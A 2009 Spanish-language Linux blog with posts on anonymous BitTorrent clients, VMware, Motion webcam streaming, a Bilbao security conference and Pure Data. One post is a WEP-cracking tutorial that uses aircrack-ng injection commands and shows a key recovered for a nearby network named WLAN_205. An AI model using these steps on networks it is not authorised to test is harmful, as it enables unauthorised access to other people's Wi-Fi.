# vi /etc/apt/sources.list
deb http://www.debian-multimedia.org squeeze main

# apt-get update

No he probado el programa pero tiene buena pinta :)

Gracias PiRuLi por el link :D

13 de juny 2009

Bitblinder y OneSwarm

Por fin tenemos ya la respuesta de la comunidad de software libre a los continuos ataques de los gobiernos a la tan necesaria neutralidad en la red.

Parece que esta semana el consejo institucional francés ha censurado la parte mas polémica de la ley HADOPI propuesta por Nicolas Sarkozy, en la cual restringía la conexión a internet de aquellos que usaban las redes P2P, 3 avisos serían necesarios para cortar la conexión a internet del abonado. El Consejo Institucional elevó la libertad de acceso a internet a la altura un derecho fundamental (link1, link2).

Esta ley no ha hecho nada mas que reabrir el debate de la neutralidad en la red y el consumo sin ánimo de lucro de productos comerciales (denunciando también el abuso de algunas entidades de gestión mediante la imposición de canones sobre medios digitales indistintamente de su uso final aboliendo la presunción de inocencia de los ciudadanos).
Unos pocos quieren enriquecerse a costa de otros, denunciando la precaria situación de los profesionales que viven de la cultura, la cual son las propias discográficas las principales causantes ofreciendo contratos basura a los artistas y prometiendo unos beneficios mínimos que nunca llegan.
Un autor tiene que ganarse la vida ofreciendo conciertos y vendiendo sus productos, y la mejor forma de hacerlo es darse a conocer, y ¿cuándo mejor que ahora con la existencia de internet?

Por otra parte denunciar la poca distribución que se hace de productos culturales alternativos y no comerciales, subsanada con el uso de redes P2P y páginas de videos, música y libros on-line.

Los tiempos cambian y es necesario saber adaptarse a ellos.

Bitblinder, es el primer cliente bittorrent que convierte las conexiones en anónimas. Este crea una red similar a tor entre los distintos usuarios del Bitblinder. Para dar una idea, el proyecto tor consiste en una red de ordenadores con un servidor proxy cada uno, transfiriéndose así los paquetes de datos entre unos servidores y otros, permitiendo ocultar la dirección IP del usuario inicial que ha realizado la petición de la transferencia de datos.


Para descargar este programa lo haremos usando este link. Como podéis ver, como muchos los proyectos libres, está en multi-plataforma, tanto para Mac OS X, como Windows, como GNU/Linux (.tar.gz o .deb).

Este proyecto tiene una pega, que se critica mucho en los foros del proyecto, que son necesarios usuario y contraseña. En la página de descarga ofrecen un anonymous sin password, pero que parece deshabilitado por la gran avalancha de descargas, estando el proyecto aún en fase beta (de prueba).

Hay que tener en cuenta este cliente para el futuro.

Tenemos otro cliente bittorrent basado en java desarrollado en la universidad de Washington que permite cifrar los datos que se están transfiriendo siendo casi imposible de detectar para terceros. Se trata de OneSwarm (versión en español).


En la página del proyecto citan textualmente:
"OneSwarm es una nueva aplicación P2P que proporciona a los usuarios con control explicito sobre su privacidad activando un control exhaustivo sobre cómo sus datos son compartidos. Al contrario de compartir datos indiscriminadamente, los datos son compartidos en OneSwarm pueden hacerse públicos, compartidos con amigos, compartidos sólamente con algunos amigos pero no con otros y así sucesivamente. Lo podemos llamar un compartido F2F (amigo-a-amigo) de datos."

Este cliente se puede descargar aquí (aviso, el programa es un poco tocho y ocupa 26,6Mb).

Para usarlo en GNU/Linux, descargaremos el .tar.gz, lo descomprimimos y ejecutamos el script OneSwarm.

La primera impresión es que está basado en web, el script nos arranca una nueva ventana en el navegador con la dirección: http://127.0.0.1:29615/

Lo primero que te viene a la cabeza es empezar a buscar cualquier cosa para hacer un test de velocidad, pero te encuentras con la sorpresa que pongas lo que pongas los resultados están vacíos, esto se debe a que es necesario añadir amigos con los que compartir ficheros. Esto a simple vista parece absurdo, pero tus amigos pueden conocer a otros amigos y estos pueden disponer del fichero que buscas. Para ello añadadiremos amigos con el link add friend (necesitaremos la clave publica y el nickname del otro usuario en la red OneSwarm).

El cliente también permite descargar ficheros torrent, que podemos encontrar en páginas como thepiratebay.org, en la siguiente captura tenéis un ejemplo de descarga.


Sin configurar puertos esta es la velocidad de descarga que alcanza el programa. Por otra parte, este te avisa con un popup si el programa tiene limitaciones para salir a internet.

El interfaz de este programa es sencillo y muy intuitivo, así que en pocos minutos es posible adaptarse a su interfaz. Tiene pinta de ser muy potente :)

Existen otros clientes y a medida que avancen los meses van a salir otros clientes de bittorrent con otros métodos de ocultación y cifrado de datos.

9 de maig 2009

Crackeo de redes wifi con WEP

Hoy nos encontramos con la gente de aptitude entre ubunteros en la party que se ha celebrado en el IES Copernic de Terrassa.

Una de las charlas/taller que he asistido ha sido la de crackeo de redes wifi, para esto os dejo este pequeño artículo.

Para crackear wifi con wep vamos a usar lo siguiente (partimos que tenemos una red wifi que permite levantarse en modo monitor).

# airmon-ng start wlan0
esto te crea un interfaz virtual llamado mon0 conectado en modo monitor, necesario para hacer la inyección de paquetes

para bajar este interfaz simplemente escribiremos lo siguiente:
# airmon-ng stop mon0
en principio cuando reiniciamos esta interfaz virtual no se creará y deberemos crearla cada vez que queramos realizar un escaneo.
# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11abgn ESSID:"coperWifi"
Mode:Managed Frequency:2.442 GHz Access Point: 04:21:91:93:72:10
Bit Rate=1 Mb/s Tx-Power=15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality=42/100 Signal level:-76 dBm Noise level=-93 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

vmnet1 no wireless extensions.

vmnet8 no wireless extensions.

mon0 IEEE 802.11abgn Mode:Monitor Frequency:2.442 GHz Tx-Power=15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

La siguiente fase será ejecutar el analizador de redes inalámbricas airodump-ng

Para ello crearemos un directorio
# mkdir /home/laura/wifi && cd /home/laura/wifi
y iniciaremos el analizador de redes:
# airodump-ng -i mon0 -w captura.cap
con esto podremos ver las wifi disponibles, con -i indicamos la interfaz de captura, con -w el nombre del fichero.

empezará a salir en pantalla una lista de las redes disponibles, si usamos -c podremos definir el canal que queremos analizar.
CH 11 ][ Elapsed: 4 s ][ 2009-05-09 13:19

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:21:91:93:72:0A -85 1 1 0 1 54e. WPA2 TKIP MGT eduroam
04:21:91:93:70:93 -82 0 1 0 1 54 . WPA TKIP PSK coperWifi
00:21:91:93:72:00 -87 1 1 0 7 54e. WPA2 TKIP MGT eduroam
00:01:38:8E:2E:42 -83 2 0 0 4 54 . WEP WEP WLAN_67
04:21:91:93:72:10 -76 3 1 0 7 54e OPN coperWifi
04:21:91:93:72:0A -84 1 0 0 1 54e. OPN coperWifi
00:21:91:93:70:93 -82 0 1 0 1 54e. WPA2 TKIP MGT eduroam
00:15:F2:D0:67:25 -80 1 0 0 11 54 WEP WEP Jazztel Jordi <>
00:80:5A:4B:88:87 -35 8 1051 179 11 54 WEP WEP WLAN_205

BSSID STATION PWR Rate Lost Packets Probes

04:21:91:93:72:10 00:13:46:E9:FF:AC -40 0 - 2 0 1
(not associated) 00:1C:F0:D4:53:A9 -71 0 - 1 0 1
(not associated) 00:12:F0:D4:4B:57 -44 0 - 1 161 45 coperWifi
(not associated) 00:13:CE:4D:B6:E4 -41 0 - 1 187 40 coperWifi
00:80:5A:4B:88:87 00:1C:F0:D4:54:A8 -36 0 - 1 832 1465
El campo que nos interesará será el #Data, y la red wifi con la que estamos haciendo las pruebas es la WLAN_205. Si paramos la captura, podemos seguirla en otro momento sin perder los datos ya capturados.

Pero en un ambiente no hostil, nos encontramos que el numero de paquetes que puede recibir un AP sea bastante bajo, a menos que el usuario tenga la brillante idea de usar algun programa de descarga por wifi.

Para generar tráfico para que lo podamos analizar y encontrar la clave WEP, será necesario ejecutar el aireplay-ng, pero antes deberemos comprobar que nuestra tarjeta de red permite inyectar paquetes.
# aireplay-ng --test -i wlan0 mon0
Si todo es correcto seguimos con el aireplay-ng:
# aireplay-ng -1 0 -e ESSID -a BBSID mon0
-1 el ataque 1
-e ESSID: definimos el nombre de la wifi la cual queremos inyectar los paquetes
-a BBSID: la mac del AP el cual queremos inyectar los paquetes
mon0: nuestra interfaz en modo monitor
Ahora una vez asociados inyectaremos los paquetes:
# aireplay-ng -3 -e ESSID -a BBSID -x 500 mon0
Si vemos que no se inyecta tráfico vamos a cambiar el valor de -x

Una vez capturados los paquetes queda hacer el crack de la clave
# aircrack-ng -x -0 *.cap *.ivs
A continuación nos sale una lista de las wifi capturadas, en nuestro caso será la primera. Dependiendo del numero de paquetes capturados va a tardar mas o menos en crackear la clave, con 52000 paquetes, el crackeo ha sido en unos pocos segundos, además de que la clave no es muy larga:
Aircrack-ng 1.0 rc3


[00:00:00] Tested 11 keys (got 34498 IVs)

KB depth byte(vote)
0 0/ 1 78(51968) 31(42752) AF(42240) A0(41984) 2F(41472) 01(40960) 67(40192)
1 0/ 1 6D(53504) 76(41216) 74(40960) 28(40704) 42(40448) 7E(40448) 61(39936)
2 0/ 3 75(45824) 76(42496) CC(41728) A7(40704) BC(40704) 2A(40448) 53(40448)
3 0/ 1 5B(50688) CB(43008) 70(42496) 53(42240) 80(41472) 22(40960) 39(40960)
4 2/ 4 16(42240) E3(41472) 52(40704) CC(40704) 24(40448) 7B(40192) 4D(39936)

KEY FOUND! [ 78:6D:75:5B:2E ] (ASCII: xmu[. )
Decrypted correctly: 100%
Ahora con la wep resultante la guardamos y la podremos usar cuando la necesitamos.

Actualización: no es posible inyectar paquetes si tu red wifi no lo soporta.

1 de maig 2009

VMWare Server + Kernel 2.6.29

Al intentar instalar la última versión del vmware server, nos encontramos con una incompatibilidad con el gcc usado a la hora de compilar los módulos del vmware, para esto será necesario instalar el vmware server con unos módulos preparados ya para gcc-4.3, la versión del compilador el cual está compilado el kernel 2.6.29.

Descargaremos el siguiente fichero (con los módulos preparados para el kernel 2.6.29):

http://www.spryweb.co.uk/vmware-server-modules-2.6.29.tar.gz


Y los descomprimimos en vmware-server-redistrib/lib/modules/source/ y luego instalamos el vmware server.

Y ya está :D para acceder a la pantalla de login:

http://localhost:8222/ui/

30 d’abr. 2009

Streaming de vídeo con Motion

Navegando por los blogs he encontrado un artículo con un programa de estos que no está nada mal de tener a mano.

Esta vez el blog al que he caído ha sido el de lopz (hola lopz!). El artículo que me ha llamado la atención es "Sistema de vigilancia", cierto, este sistema se puede usar para vigilar un sitio, permitiendo un modo de transmitir datos en el momento que la camera detecta movimiento, pero otras utilidades podrían ser el streaming de una charla (usando gstreamer para el audio y el motion para el video ideal para conexiones limitadas). El programa además permite capturar vídeo de varias cameras a la vez, así que dejo a vuestra imaginación a dónde usar este programa :D

El programa, tal como su nombre indica, motion (de la técnica motionflow), permite capturar imagenes cada x tiempo del dispositivo de video indicado, estas las guarda a un directorio (también permite crear .avi y .mov) y finalmente con un navegador acceder a la página o al ftp dónde se esté creando el motion.

Motion se encuentra ya en los repositorios de debian unstable (sid), pero no aún en los de testing y menos en los de stable, así que podremos descargar de la página web del proyecto los sources, los paquetes .deb o los .rpm.

Aunque tenemos los paquetes .deb, vamos a instalar los sources, en un sistema en producción prefiero no hacer guarradas con las versiones de los paquetes, esto acaba convirtiendo el sistema inestable y tenemos que acabar reinstalando el sistema operativo de nuevo.

Actualización: A día de hoy he intentado instalar también los sources pero me está dando problemas para compilar algunas extensiones.

Como otras cosas que ya he instalado, por comodidad y mantener el escritorio limpio, voy a descargar y descomprimir el programa instalar en mi ~/bin.

# cd ~/bin
# mkdir motion
# cd motion
# svn co http://www.lavrsen.dk/svn/motion/trunk/ .
Vamos a compilar el programa con soporte mysql, esto va a permitir guardar nuestras capturas. Para esto será necesario instalar esta librería:
# apt-get install libmysqlclient15-dev
Así que procedimos a compilar el programa con soporte mysql (si queremos mas información de las opciones disponibles es recomendable mirar en ./configure --help:
# ./configure
**************************
Configure status
motion trunk-r442
**************************

OS : Linux
pthread Support: Yes
jpeg Support: Yes
V4L included: Yes
V4L2 supported: Yes
FFmpeg Support: No
SQLite3 Support: No
MYSQL Support: Yes
PostgreSQL Support: No
a continuación seguimos con el make y el make install:
# make
# make install
y ya tendremos el programa instalado!

Ahora debemos configurar el programa para que use nuestra webcam, al final de la instalación nos da unas pequeñas instrucciones interesantes a seguir:

Install complete! The default configuration file, motion-dist.conf, has been
installed to /usr/local/etc. You need to rename/copy it to /usr/local/etc/motion.conf
for Motion to find it. More configuration examples as well as init scripts
can be found in /usr/local/share/motion-trunk-r442/examples.

Así que somos obedientes y lo hacemos.
# cd /usr/local/etc
# cp motion-dist.conf motion.conf
si entramos dentro tenemos mogollón de opciones, para entender un poco qué significan cada una de ellas recomiendo visitar la siguiente página web:

http://www.lavrsen.dk/foswiki/bin/view/Motion/ConfigFileOptions

Vamos a seguir usando la configuración por defecto, simplemente tener en cuenta que el valor videodevice apunte a tu dispositivo de captura, si ya lo tienes identificado (por el xawtv, el skype o cualquier programa que use dispositivos de captura de video). Si queremos usar una camera ip, simplemente basta con poner la ip o la url (por ejemplo http://192.168.1.9/cgi-bin/mjpg/video.cgi) en videodevice.

El programa se puede ejecutar en modo daemon o ejecutarlo como modo usuario, la unica diferencia es que uno corre en background y no suelta información en la consola y el otro si.

Para obligar a ejecutarse como usuario (no muy recomendable) vamos a arrancar el motion para ver los errores con:
# motion -n
Para comprobar que funciona primero de todo en la consola tendremos que tener algo del estilo:

[1] motion_init: Started motion-stream server in port 8081

Si aparece esto, además de ver que la luz que indica que la webcam está en funcionamiento estará encendida, abrimos un navegador y abrimos http://localhost:8081

Y ya podremos ver nuestra cara con el reflejo del monitor.

Ahora os recomiendo echar una ojeadita a la configuración para ver todas las posibilidades de configuración de las imágenes, el vídeo, la captura, la configuración de red, etc.

En el siguiente link, como configurar el motion con mas de una capturadora de vídeo

27 d’abr. 2009

BS3C Bilbao

Pues este fin de semana escapadita otra vez a unas conferencias de seguridad, esta vez en el M3 de Bilbao, un espacio de investigación aka hacklab.

Con una interesante parrilla de charlas de alto nivel, el M3 alojó durante 2 días el BS3C.


Debido a la jornada laboral no pudimos asistir a las charlas del viernes (lo que hizo que nos perdimos una interesante rueda de preguntas a los chicos de panda antivirus), pero pudimos asistir a las del sábado además de la fiesta final del evento.

El evento en general creo que nos ha dejado a todos un buen sabor de boca, así que animamos al organizador a seguir adelante con mas BS3C!

Los detalles de la fiesta y el tapeo por ahí quedan censurados para cuidar la imagen del blog ;) simplemente os dejo con las fotos, las cuales contarán mejor el espacio y la asistencia a las jornadas.
Os recomiendo mirar las fotos escuchando esta música sacada de jamendo.com

http://www.flickr.com/photos/nusepas/sets/72157617227550135/

Charlas Sábado por la mañana


Tapeo antes de ir a comer

Charlas Sábado por la tarde

Fiesta fin jornadas

Fiesta fin jornadas

Fiesta fin jornadas

Bilbao el día siguiente (para que veáis que lo dejamos enterito!)

Notícia en el público: http://www.publico.es/ciencias/221658/hackers/reivindican

20 d’abr. 2009

HTDj!

Ayer estuve de nuevo en la radio y pudí compartir estudio con daax, el creador de un patch de puredata (con lo completito que es, mas bien un programa con puredata!). Aquí el archivo del podcast.

Pude ver al creador en vivo usando su creación. ¡Impresionante!

El HTDj! es un interfaz de producción de música electrónica. Te permite cargar loops, canciones y otros patchs creados con pure data que reproduzcan música sintetizada.

Tiene distintas entradas las cuales de pueden activar con las teclas de función, de la F1 a la F11, la tecla F12 sirve para reproducir o parar la secuencia.

Para instalar el HTDj! primero será necesario instalar el pd-extended (puredata extendido), el cual es una versión extendida del puredata, la cual ya contiene todas las librerías para usar el puredata para tratar flujos de audio y video entre otros.

Para ello cargaremos en nuestro sources.list los repositorios de puredata


# vi /etc/apt/sources.list
#puredata
deb http://apt.puredata.info/releases testing main
Una vez echo esto actualizaremos la lista de repositorios y instalaremos el pd-extended

# apt-get update && apt-get install pd-extended

Nota: si estáis usando debian testing lo mas probable es que no encuentre libmpeg1, el cual es una dependencia de pd-extended, para ello lo descargaremos de aquí.

a continuación lo instalaremos manualmente:
# dpkg -i libmpeg1*.deb
Cuando lo tengamos instalado nos descargaremos el HTDj! de la página web del creador.

http://noconventions.mobi/arrel/HTDj!__vX__unauthorized.zip

Lo descomprimimos en algun directorio
# unzip HTDj!__vX__unauthorized.zip && cd HTDj!
Ahora será necesario realizar unas modificaciones al fichero para abrir el programa (pd.desktop) y cambiar los directorios de dónde tenemos el programa:

# vi pd.desktop
[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=HTDj!
Type=Application
Terminal=false
Icon[ca_AD]=gnome-panel-launcher
Name[ca_AD]=HTDj![Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=HTDj!
Type=Application
Terminal=false
Icon[ca_AD]=gnome-panel-launcher
Name[ca_AD]=HTDj!
Exec=pd /home/laura/bin/HTDj!/ptx/HTDj!_vX_unauthorized.pd
Icon=/home/laura/bin/HTDj!/imago/baffletteverd8b.png
GenericName[ca_AD]=
Exec=pd /home/laura/bin/HTDj!/ptx/HTDj!_vX_unauthorized.pd
Icon=/home/laura/bin/HTDj!/imago/baffletteverd8b.png
GenericName[ca_AD]=

Aquí tenéis el resultado de mi fichero, como he comentado otras veces, para tener un poco mas ordenados los programas que instalo a mano y tenerlos mas a mano, tengo un directorio dentro de mi home llamado bin (si vieséis un ls!).

Una vez hecho esto, pulsando a este fichero ejecutable se nos abrirá el puredata con el patch HTDj!.

Será necesario comprobar si el sonido está funcionando, para ello el puredata lleva un pequeño patch para comprobarlo.

En el menú Media de la ventana de mensajes del puredata, test Audio and MIDI y una vez dentro el patch pulsaremos -20 o -40 y noise o tone.
Si haciendo esto no oímos nada es posible que otro programa esté usando el dispositivo de audio y deberemos apagarlo, comprueba que no tengas el firefox (plugin de flash), programas de mensajería y VoIP o reproductores de música.
Si aún así no te funciona prueba de entrar en #dataflow en irc.freenode.org y pide ayuda, paciencia a la hora de recibir ayuda, tarde o pronto llegará :)

Si puredata te emite sonidos ya podemos empezar a toquetear el HTDj! y crear nuestra propia música.

En http://hackthedj.wordpress.com/how2-use-htdj/ encontramos un manual de uso del HTDj!, está en catalán, pero existen traductores bastante eficientes.

Para cargar los samples que vienen con el programa, en la pantalla inicial del HTDj! pulsamos control+E (para poder entrar en el modo de edición del patch de puredata) y al lado de < fix ur HTDj! path editar el directorio dónde tenemos instalado el programa, en mi caso /home/laura/bin/HTDj!, pulsamos otra vez control+E (para salir del modo de edición) y control+S para guardar los cambios. Cerramos el programa, lo abrimos otra vez y ya podremos acceder a los loops del programa :D

Buen HTDj! o/